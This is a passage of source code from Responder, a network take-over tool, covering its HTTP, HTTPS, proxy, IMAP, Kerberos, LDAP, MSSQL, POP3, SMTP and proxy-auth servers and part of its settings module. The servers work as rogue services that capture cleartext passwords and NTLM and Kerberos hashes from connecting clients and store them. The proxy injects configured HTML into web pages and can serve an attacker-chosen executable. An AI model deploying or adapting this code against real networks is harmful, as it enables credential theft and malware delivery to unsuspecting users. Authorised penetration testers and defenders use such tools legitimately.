IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) 248 | Buffer.calculate() 249 | return str(Buffer) 250 | else: 251 | if settings.Config.Basic: 252 | Response = IIS_Basic_401_Ans() 253 | if settings.Config.Verbose: 254 | print text("[HTTP] Sending BASIC authentication request to %s" % client) 255 | 256 | else: 257 | Response = IIS_Auth_401_Ans() 258 | if settings.Config.Verbose: 259 | print text("[HTTP] Sending NTLM authentication request to %s" % client) 260 | 261 | return str(Response) 262 | 263 | # HTTP Server class 264 | class HTTP(BaseRequestHandler): 265 | 266 | def handle(self): 267 | try: 268 | for x in range(2): 269 | self.request.settimeout(3) 270 | data = self.request.recv(8092) 271 | Buffer = WpadCustom(data, self.client_address[0]) 272 | 273 | if Buffer and settings.Config.Force_WPAD_Auth == False: 274 | self.request.send(Buffer) 275 | self.request.close() 276 | if settings.Config.Verbose: 277 | print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]) 278 | 279 | else: 280 | Buffer = PacketSequence(data,self.client_address[0]) 281 | self.request.send(Buffer) 282 | except socket.error: 283 | pass 284 | 285 | # HTTPS Server class 286 | class HTTPS(StreamRequestHandler): 287 | def setup(self): 288 | self.exchange = self.request 289 | self.rfile = socket._fileobject(self.request, "rb", self.rbufsize) 290 | self.wfile = socket._fileobject(self.request, "wb", self.wbufsize) 291 | 292 | def handle(self): 293 | try: 294 | data = self.exchange.recv(8092) 295 | self.exchange.settimeout(0.5) 296 | Buffer = WpadCustom(data,self.client_address[0]) 297 | 298 | if Buffer and settings.Config.Force_WPAD_Auth == False: 299 | self.exchange.send(Buffer) 300 | if settings.Config.Verbose: 301 | print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0]) 302 | 303 | else: 304 | Buffer = PacketSequence(data,self.client_address[0]) 305 | self.exchange.send(Buffer) 306 | except: 307 | pass 308 | 309 | -------------------------------------------------------------------------------- /src/servers/HTTP_Proxy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import urlparse 18 | import select 19 | import zlib 20 | import BaseHTTPServer 21 | 22 | from servers.HTTP import RespondWithFile 23 | from utils import * 24 | 25 | IgnoredDomains = [ 'crl.comodoca.com', 'crl.usertrust.com', 'ocsp.comodoca.com', 'ocsp.usertrust.com', 'www.download.windowsupdate.com', 'crl.microsoft.com' ] 26 | 27 | def InjectData(data, client, req_uri): 28 | 29 | # Serve the .exe if needed 30 | if settings.Config.Serve_Always: 31 | return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName) 32 | 33 | # Serve the .exe if needed and client requested a .exe 34 | if settings.Config.Serve_Exe == True and req_uri.endswith('.exe'): 35 | return RespondWithFile(client, settings.Config.Exe_Filename, os.path.basename(req_uri)) 36 | 37 | if len(data.split('\r\n\r\n')) > 1: 38 | try: 39 | Headers, Content = data.split('\r\n\r\n') 40 | except: 41 | return data 42 | 43 | RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307'] 44 | if set(RedirectCodes) & set(Headers): 45 | return data 46 | 47 | if "content-encoding: gzip" in Headers.lower(): 48 | Content = zlib.decompress(Content, 16+zlib.MAX_WBITS) 49 | 50 | if "content-type: text/html" in Headers.lower(): 51 | if settings.Config.Serve_Html: # Serve the custom HTML if needed 52 | return RespondWithFile(client, settings.Config.Html_Filename) 53 | 54 | Len = ''.join(re.findall(r'(?<=Content-Length: )[^\r\n]*', Headers)) 55 | HasBody = re.findall(r'(]*>)', Content) 56 | 57 | if HasBody and len(settings.Config.HtmlToInject) > 2: 58 | if settings.Config.Verbose: 59 | print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1)) 60 | 61 | Content = Content.replace(HasBody[0], '%s\n%s' % (HasBody[0], settings.Config.HtmlToInject)) 62 | 63 | if "content-encoding: gzip" in Headers.lower(): 64 | Content = zlib.compress(Content) 65 | 66 | Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content))) 67 | data = Headers +'\r\n\r\n'+ Content 68 | else: 69 | if settings.Config.Verbose: 70 | print text("[PROXY] Returning unmodified HTTP response") 71 | return data 72 | 73 | class ProxySock: 74 | def __init__(self, socket, proxy_host, proxy_port) : 75 | 76 | # First, use the socket, without any change 77 | self.socket = socket 78 | 79 | # Create socket (use real one) 80 | self.proxy_host = proxy_host 81 | self.proxy_port = proxy_port 82 | 83 | # Copy attributes 84 | self.family = socket.family 85 | self.type = socket.type 86 | self.proto = socket.proto 87 | 88 | def connect(self, address) : 89 | 90 | # Store the real remote adress 91 | self.host, self.port = address 92 | 93 | # Try to connect to the proxy 94 | for (family, socktype, proto, canonname, sockaddr) in socket.getaddrinfo( 95 | self.proxy_host, 96 | self.proxy_port, 97 | 0, 0, socket.SOL_TCP): 98 | try: 99 | # Replace the socket by a connection to the proxy 100 | self.socket = socket.socket(family, socktype, proto) 101 | self.socket.connect(sockaddr) 102 | except socket.error, msg: 103 | if self.socket: 104 | self.socket.close() 105 | self.socket = None 106 | continue 107 | break 108 | if not self.socket : 109 | raise socket.error, msg 110 | 111 | # Ask him to create a tunnel connection to the target host/port 112 | self.socket.send( 113 | ("CONNECT %s:%d HTTP/1.1\r\n" + 114 | "Host: %s:%d\r\n\r\n") % (self.host, self.port, self.host, self.port)) 115 | 116 | # Get the response 117 | resp = self.socket.recv(4096) 118 | 119 | # Parse the response 120 | parts = resp.split() 121 | 122 | # Not 200 ? 123 | if parts[1] != "200": 124 | print color("[!] Error response from upstream proxy: %s" % resp, 1) 125 | pass 126 | 127 | # Wrap all methods of inner socket, without any change 128 | def accept(self) : 129 | return self.socket.accept() 130 | 131 | def bind(self, *args) : 132 | return self.socket.bind(*args) 133 | 134 | def close(self) : 135 | return self.socket.close() 136 | 137 | def fileno(self) : 138 | return self.socket.fileno() 139 | 140 | def getsockname(self) : 141 | return self.socket.getsockname() 142 | 143 | def getsockopt(self, *args) : 144 | return self.socket.getsockopt(*args) 145 | 146 | def listen(self, *args) : 147 | return self.socket.listen(*args) 148 | 149 | def makefile(self, *args) : 150 | return self.socket.makefile(*args) 151 | 152 | def recv(self, *args) : 153 | return self.socket.recv(*args) 154 | 155 | def recvfrom(self, *args) : 156 | return self.socket.recvfrom(*args) 157 | 158 | def recvfrom_into(self, *args) : 159 | return self.socket.recvfrom_into(*args) 160 | 161 | def recv_into(self, *args) : 162 | return self.socket.recv_into(buffer, *args) 163 | 164 | def send(self, *args) : 165 | try: return self.socket.send(*args) 166 | except: pass 167 | 168 | def sendall(self, *args) : 169 | return self.socket.sendall(*args) 170 | 171 | def sendto(self, *args) : 172 | return self.socket.sendto(*args) 173 | 174 | def setblocking(self, *args) : 175 | return self.socket.setblocking(*args) 176 | 177 | def settimeout(self, *args) : 178 | return self.socket.settimeout(*args) 179 | 180 | def gettimeout(self) : 181 | return self.socket.gettimeout() 182 | 183 | def setsockopt(self, *args): 184 | return self.socket.setsockopt(*args) 185 | 186 | def shutdown(self, *args): 187 | return self.socket.shutdown(*args) 188 | 189 | # Return the (host, port) of the actual target, not the proxy gateway 190 | def getpeername(self) : 191 | return self.host, self.port 192 | 193 | # Inspired from Tiny HTTP proxy, original work: SUZUKI Hisao. 194 | class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): 195 | __base = BaseHTTPServer.BaseHTTPRequestHandler 196 | __base_handle = __base.handle 197 | 198 | rbufsize = 0 199 | 200 | def handle(self): 201 | (ip, port) = self.client_address 202 | if settings.Config.Verbose: 203 | print text("[PROXY] Received connection from %s" % self.client_address[0]) 204 | self.__base_handle() 205 | 206 | def _connect_to(self, netloc, soc): 207 | i = netloc.find(':') 208 | if i >= 0: 209 | host_port = netloc[:i], int(netloc[i+1:]) 210 | else: 211 | host_port = netloc, 80 212 | try: soc.connect(host_port) 213 | except socket.error, arg: 214 | try: msg = arg[1] 215 | except: msg = arg 216 | self.send_error(404, msg) 217 | return 0 218 | return 1 219 | 220 | def socket_proxy(self, af, fam): 221 | Proxy = settings.Config.Upstream_Proxy 222 | Proxy = Proxy.rstrip('/').replace('http://', '').replace('https://', '') 223 | Proxy = Proxy.split(':') 224 | 225 | try: Proxy = (Proxy[0], int(Proxy[1])) 226 | except: Proxy = (Proxy[0], 8080) 227 | 228 | soc = socket.socket(af, fam) 229 | return ProxySock(soc, Proxy[0], Proxy[1]) 230 | 231 | def do_CONNECT(self): 232 | 233 | if settings.Config.Upstream_Proxy: 234 | soc = self.socket_proxy(socket.AF_INET, socket.SOCK_STREAM) 235 | else: 236 | soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 237 | 238 | try: 239 | if self._connect_to(self.path, soc): 240 | self.wfile.write(self.protocol_version +" 200 Connection established\r\n") 241 | self.wfile.write("Proxy-agent: %s\r\n" % self.version_string()) 242 | self.wfile.write("\r\n") 243 | try: 244 | self._read_write(soc, 300) 245 | except: 246 | pass 247 | except: 248 | pass 249 | 250 | finally: 251 | soc.close() 252 | self.connection.close() 253 | 254 | def do_GET(self): 255 | (scm, netloc, path, params, query, fragment) = urlparse.urlparse(self.path, 'http') 256 | 257 | if netloc in IgnoredDomains: 258 | #self.send_error(200, "OK") 259 | return 260 | 261 | if scm not in 'http' or fragment or not netloc: 262 | self.send_error(400, "bad url %s" % self.path) 263 | return 264 | 265 | if settings.Config.Upstream_Proxy: 266 | soc = self.socket_proxy(socket.AF_INET, socket.SOCK_STREAM) 267 | else: 268 | soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 269 | 270 | try: 271 | URL_Unparse = urlparse.urlunparse(('', '', path, params, query, '')) 272 | 273 | if self._connect_to(netloc, soc): 274 | soc.send("%s %s %s\r\n" % (self.command, URL_Unparse, self.request_version)) 275 | 276 | Cookie = self.headers['Cookie'] if "Cookie" in self.headers else '' 277 | 278 | if settings.Config.Verbose: 279 | print text("[PROXY] Client : %s" % color(self.client_address[0], 3)) 280 | print text("[PROXY] Requested URL : %s" % color(self.path, 3)) 281 | print text("[PROXY] Cookie : %s" % Cookie) 282 | 283 | self.headers['Connection'] = 'close' 284 | del self.headers['Proxy-Connection'] 285 | del self.headers['If-Range'] 286 | del self.headers['Range'] 287 | 288 | for k, v in self.headers.items(): 289 | soc.send("%s: %s\r\n" % (k.title(), v)) 290 | soc.send("\r\n") 291 | 292 | try: 293 | self._read_write(soc, netloc) 294 | except: 295 | pass 296 | 297 | except: 298 | pass 299 | 300 | finally: 301 | soc.close() 302 | self.connection.close() 303 | 304 | def _read_write(self, soc, netloc='', max_idling=30): 305 | iw = [self.connection, soc] 306 | ow = [] 307 | count = 0 308 | while 1: 309 | count += 1 310 | (ins, _, exs) = select.select(iw, ow, iw, 1) 311 | if exs: 312 | break 313 | if ins: 314 | for i in ins: 315 | if i is soc: 316 | out = self.connection 317 | try: 318 | data = i.recv(4096) 319 | if len(data) > 1: 320 | data = InjectData(data, self.client_address[0], self.path) 321 | except: 322 | pass 323 | else: 324 | out = soc 325 | try: 326 | data = i.recv(4096) 327 | 328 | if self.command == "POST" and settings.Config.Verbose: 329 | print text("[PROXY] POST Data : %s" % data) 330 | except: 331 | pass 332 | if data: 333 | try: 334 | out.send(data) 335 | count = 0 336 | except: 337 | pass 338 | if count == max_idling: 339 | break 340 | return None 341 | 342 | 343 | do_HEAD = do_GET 344 | do_POST = do_GET 345 | do_PUT = do_GET 346 | do_DELETE=do_GET 347 | 348 | -------------------------------------------------------------------------------- /src/servers/IMAP.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | from utils import * 18 | from SocketServer import BaseRequestHandler 19 | from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd 20 | 21 | class IMAP(BaseRequestHandler): 22 | def handle(self): 23 | try: 24 | self.request.send(str(IMAPGreeting())) 25 | data = self.request.recv(1024) 26 | 27 | if data[5:15] == "CAPABILITY": 28 | RequestTag = data[0:4] 29 | self.request.send(str(IMAPCapability())) 30 | self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag))) 31 | data = self.request.recv(1024) 32 | 33 | if data[5:10] == "LOGIN": 34 | Credentials = data[10:].strip() 35 | 36 | SaveToDb({ 37 | 'module': 'IMAP', 38 | 'type': 'Cleartext', 39 | 'client': self.client_address[0], 40 | 'user': Credentials[0], 41 | 'cleartext': Credentials[1], 42 | 'fullhash': Credentials[0]+":"+Credentials[1], 43 | }) 44 | 45 | ## FIXME: Close connection properly 46 | ## self.request.send(str(ditchthisconnection())) 47 | ## data = self.request.recv(1024) 48 | except Exception: 49 | pass 50 | -------------------------------------------------------------------------------- /src/servers/Kerberos.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | from SocketServer import BaseRequestHandler 18 | from utils import * 19 | import struct 20 | 21 | def ParseMSKerbv5TCP(Data): 22 | MsgType = Data[21:22] 23 | EncType = Data[43:44] 24 | MessageType = Data[32:33] 25 | 26 | if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": 27 | if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": 28 | HashLen = struct.unpack('. 17 | from SocketServer import BaseRequestHandler 18 | from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge 19 | from utils import * 20 | import struct 21 | 22 | def ParseSearch(data): 23 | if re.search(r'(objectClass)', data): 24 | return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9])) 25 | elif re.search(r'(?i)(objectClass0*.*supportedCapabilities)', data): 26 | return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) 27 | elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data): 28 | return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) 29 | 30 | def ParseLDAPHash(data, client): 31 | SSPIStart = data[42:] 32 | LMhashLen = struct.unpack(' 10: 35 | LMhashOffset = struct.unpack('i',data[2:6])[0] 75 | MessageSequence = struct.unpack('i',data[11:15])[0] 79 | LDAPVersion = struct.unpack('. 17 | from SocketServer import BaseRequestHandler 18 | from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer 19 | from utils import * 20 | import struct 21 | 22 | class TDS_Login_Packet: 23 | def __init__(self, data): 24 | 25 | ClientNameOff = struct.unpack(' 60: 87 | WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:]) 88 | 89 | SaveToDb({ 90 | 'module': 'MSSQL', 91 | 'type': 'NTLMv2', 92 | 'client': client, 93 | 'user': Domain+'\\'+User, 94 | 'hash': NTHash[:32]+":"+NTHash[32:], 95 | 'fullhash': WriteHash, 96 | }) 97 | 98 | 99 | def ParseSqlClearTxtPwd(Pwd): 100 | Pwd = map(ord,Pwd.replace('\xa5','')) 101 | Pw = '' 102 | for x in Pwd: 103 | Pw += hex(x ^ 0xa5)[::-1][:2].replace("x", "0").decode('hex') 104 | return Pw 105 | 106 | 107 | def ParseClearTextSQLPass(data, client): 108 | TDS = TDS_Login_Packet(data) 109 | SaveToDb({ 110 | 'module': 'MSSQL', 111 | 'type': 'Cleartext', 112 | 'client': client, 113 | 'hostname': "%s (%s)" % (TDS.ServerName, TDS.DatabaseName), 114 | 'user': TDS.UserName, 115 | 'cleartext': ParseSqlClearTxtPwd(TDS.Password), 116 | 'fullhash': TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password), 117 | }) 118 | 119 | # MSSQL Server class 120 | class MSSQL(BaseRequestHandler): 121 | def handle(self): 122 | if settings.Config.Verbose: 123 | print text("[MSSQL] Received connection from %s" % self.client_address[0]) 124 | 125 | try: 126 | while True: 127 | data = self.request.recv(1024) 128 | self.request.settimeout(0.1) 129 | 130 | 131 | if data[0] == "\x12": # Pre-Login Message 132 | Buffer = str(MSSQLPreLoginAnswer()) 133 | self.request.send(Buffer) 134 | data = self.request.recv(1024) 135 | 136 | if data[0] == "\x10": # NegoSSP 137 | if re.search("NTLMSSP",data): 138 | Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge) 139 | Packet.calculate() 140 | Buffer = str(Packet) 141 | self.request.send(Buffer) 142 | data = self.request.recv(1024) 143 | else: 144 | ParseClearTextSQLPass(data,self.client_address[0]) 145 | 146 | if data[0] == "\x11": # NegoSSP Auth 147 | ParseSQLHash(data,self.client_address[0]) 148 | 149 | except: 150 | self.request.close() 151 | pass 152 | -------------------------------------------------------------------------------- /src/servers/POP3.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | from utils import * 18 | from SocketServer import BaseRequestHandler 19 | from packets import POPOKPacket 20 | 21 | # POP3 Server class 22 | class POP3(BaseRequestHandler): 23 | def SendPacketAndRead(self): 24 | Packet = POPOKPacket() 25 | self.request.send(str(Packet)) 26 | return self.request.recv(1024) 27 | 28 | def handle(self): 29 | try: 30 | data = self.SendPacketAndRead() 31 | 32 | if data[0:4] == "USER": 33 | User = data[5:].replace("\r\n","") 34 | data = self.SendPacketAndRead() 35 | if data[0:4] == "PASS": 36 | Pass = data[5:].replace("\r\n","") 37 | 38 | SaveToDb({ 39 | 'module': 'POP3', 40 | 'type': 'Cleartext', 41 | 'client': self.client_address[0], 42 | 'user': User, 43 | 'cleartext': Pass, 44 | 'fullhash': User+":"+Pass, 45 | }) 46 | self.SendPacketAndRead() 47 | except Exception: 48 | pass 49 | -------------------------------------------------------------------------------- /src/servers/Proxy_Auth.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import SocketServer 18 | from HTTP import ParseHTTPHash 19 | from packets import * 20 | from utils import * 21 | 22 | def GrabUserAgent(data): 23 | UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data) 24 | if UserAgent: 25 | print text("[Proxy-Auth] %s" % color("User-Agent : "+UserAgent[0], 2)) 26 | 27 | def GrabCookie(data): 28 | Cookie = re.search(r'(Cookie:*.\=*)[^\r\n]*', data) 29 | 30 | if Cookie: 31 | Cookie = Cookie.group(0).replace('Cookie: ', '') 32 | if len(Cookie) > 1: 33 | if settings.Config.Verbose: 34 | print text("[Proxy-Auth] %s" % color("Cookie : "+Cookie, 2)) 35 | 36 | return Cookie 37 | return False 38 | 39 | def GrabHost(data): 40 | Host = re.search(r'(Host:*.\=*)[^\r\n]*', data) 41 | 42 | if Host: 43 | Host = Host.group(0).replace('Host: ', '') 44 | if settings.Config.Verbose: 45 | print text("[Proxy-Auth] %s" % color("Host : "+Host, 2)) 46 | 47 | return Host 48 | return False 49 | 50 | def PacketSequence(data, client): 51 | NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) 52 | Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data) 53 | if NTLM_Auth: 54 | Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] 55 | if Packet_NTLM == "\x01": 56 | if settings.Config.Verbose: 57 | print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client) 58 | 59 | Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge) 60 | Buffer.calculate() 61 | Buffer_Ans = WPAD_NTLM_Challenge_Ans() 62 | Buffer_Ans.calculate(str(Buffer)) 63 | return str(Buffer_Ans) 64 | if Packet_NTLM == "\x03": 65 | NTLM_Auth = b64decode(''.join(NTLM_Auth)) 66 | ParseHTTPHash(NTLM_Auth, client, "Proxy-Auth") 67 | GrabUserAgent(data) 68 | GrabCookie(data) 69 | GrabHost(data) 70 | return False #Send a RST with SO_LINGER when close() is called (see Responder.py) 71 | else: 72 | return False 73 | 74 | elif Basic_Auth: 75 | GrabUserAgent(data) 76 | GrabCookie(data) 77 | GrabHost(data) 78 | ClearText_Auth = b64decode(''.join(Basic_Auth)) 79 | SaveToDb({ 80 | 'module': 'Proxy-Auth', 81 | 'type': 'Basic', 82 | 'client': client, 83 | 'user': ClearText_Auth.split(':')[0], 84 | 'cleartext': ClearText_Auth.split(':')[1], 85 | }) 86 | 87 | return False 88 | else: 89 | if settings.Config.Basic: 90 | Response = WPAD_Basic_407_Ans() 91 | if settings.Config.Verbose: 92 | print text("[Proxy-Auth] Sending BASIC authentication request to %s" % client) 93 | 94 | else: 95 | Response = WPAD_Auth_407_Ans() 96 | 97 | return str(Response) 98 | 99 | class Proxy_Auth(SocketServer.BaseRequestHandler): 100 | 101 | 102 | def handle(self): 103 | try: 104 | for x in range(2): 105 | data = self.request.recv(4096) 106 | self.request.send(PacketSequence(data, self.client_address[0])) 107 | 108 | except: 109 | pass 110 | 111 | 112 | -------------------------------------------------------------------------------- /src/servers/SMTP.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | from utils import * 18 | from base64 import b64decode 19 | from SocketServer import BaseRequestHandler 20 | from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2 21 | 22 | class ESMTP(BaseRequestHandler): 23 | 24 | def handle(self): 25 | try: 26 | self.request.send(str(SMTPGreeting())) 27 | data = self.request.recv(1024) 28 | 29 | if data[0:4] == "EHLO": 30 | self.request.send(str(SMTPAUTH())) 31 | data = self.request.recv(1024) 32 | 33 | if data[0:4] == "AUTH": 34 | self.request.send(str(SMTPAUTH1())) 35 | data = self.request.recv(1024) 36 | 37 | if data: 38 | try: 39 | User = filter(None, b64decode(data).split('\x00')) 40 | Username = User[0] 41 | Password = User[1] 42 | except: 43 | Username = b64decode(data) 44 | 45 | self.request.send(str(SMTPAUTH2())) 46 | data = self.request.recv(1024) 47 | 48 | if data: 49 | try: Password = b64decode(data) 50 | except: Password = data 51 | 52 | SaveToDb({ 53 | 'module': 'SMTP', 54 | 'type': 'Cleartext', 55 | 'client': self.client_address[0], 56 | 'user': Username, 57 | 'cleartext': Password, 58 | 'fullhash': Username+":"+Password, 59 | }) 60 | 61 | except Exception: 62 | pass 63 | -------------------------------------------------------------------------------- /src/servers/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lgandx/Responder-Windows/eee1254b2fce47e469a3ab8cf572c3c499df70b4/src/servers/__init__.py -------------------------------------------------------------------------------- /src/settings.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import utils 18 | import ConfigParser 19 | import subprocess 20 | 21 | from utils import * 22 | 23 | __version__ = 'Responder 2.3.3.0' 24 | Interface = "ALL" 25 | 26 | class Settings: 27 | 28 | def __init__(self): 29 | self.ResponderPATH = './' 30 | self.Bind_To = '0.0.0.0' 31 | 32 | def __str__(self): 33 | ret = 'Settings class:\n' 34 | for attr in dir(self): 35 | value = str(getattr(self, attr)).strip() 36 | ret += " Settings.%s = %s\n" % (attr, value) 37 | return ret 38 | 39 | def toBool(self, str): 40 | return str.upper() == 'ON' 41 | 42 | def ExpandIPRanges(self): 43 | def expand_ranges(lst): 44 | ret = [] 45 | for l in lst: 46 | tab = l.split('.') 47 | x = {} 48 | i = 0 49 | for byte in tab: 50 | if '-' not in byte: 51 | x[i] = x[i+1] = int(byte) 52 | else: 53 | b = byte.split('-') 54 | x[i] = int(b[0]) 55 | x[i+1] = int(b[1]) 56 | i += 2 57 | for a in range(x[0], x[1]+1): 58 | for b in range(x[2], x[3]+1): 59 | for c in range(x[4], x[5]+1): 60 | for d in range(x[6], x[7]+1): 61 | ret.append('%d.%d.%d.%d' % (a, b, c, d)) 62 | return ret 63 | 64 | self.RespondTo = expand_ranges(self.RespondTo) 65 | self.DontRespondTo = expand_ranges(self.DontRespondTo) 66 | 67 | def populate(self, options): 68 | 69 | if Interface == "ALL" and options.OURIP == None: 70 | print utils.color("Error: -i is missing.\nYou need to provide your current ip address", 1) 71 | sys.exit(-1) 72 | 73 | # Config parsing 74 | config = ConfigParser.ConfigParser() 75 | config.read('./Responder.conf') 76 | 77 | # Servers 78 | self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP')) 79 | self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS')) 80 | self.SMB_On_Off = self.toBool(config.get('Responder Core', 'SMB')) 81 | self.SQL_On_Off = self.toBool(config.get('Responder Core', 'SQL')) 82 | self.FTP_On_Off = self.toBool(config.get('Responder Core', 'FTP')) 83 | self.POP_On_Off = self.toBool(config.get('Responder Core', 'POP')) 84 | self.IMAP_On_Off = self.toBool(config.get('Responder Core', 'IMAP')) 85 | self.SMTP_On_Off = self.toBool(config.get('Responder Core', 'SMTP')) 86 | self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP')) 87 | self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS')) 88 | self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos')) 89 | 90 | # Db File 91 | self.DatabaseFile = os.path.join(self.ResponderPATH, config.get('Responder Core', 'Database')) 92 | 93 | # Log Files 94 | self.LogDir = os.path.join(self.ResponderPATH, 'logs') 95 | 96 | if not os.path.exists(self.LogDir): 97 | os.mkdir(self.LogDir) 98 | 99 | self.SessionLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'SessionLog')) 100 | self.PoisonersLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'PoisonersLog')) 101 | self.AnalyzeLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'AnalyzeLog')) 102 | self.ResponderConfigDump = os.path.join(self.LogDir, config.get('Responder Core', 'ResponderConfigDump')) 103 | 104 | self.FTPLog = 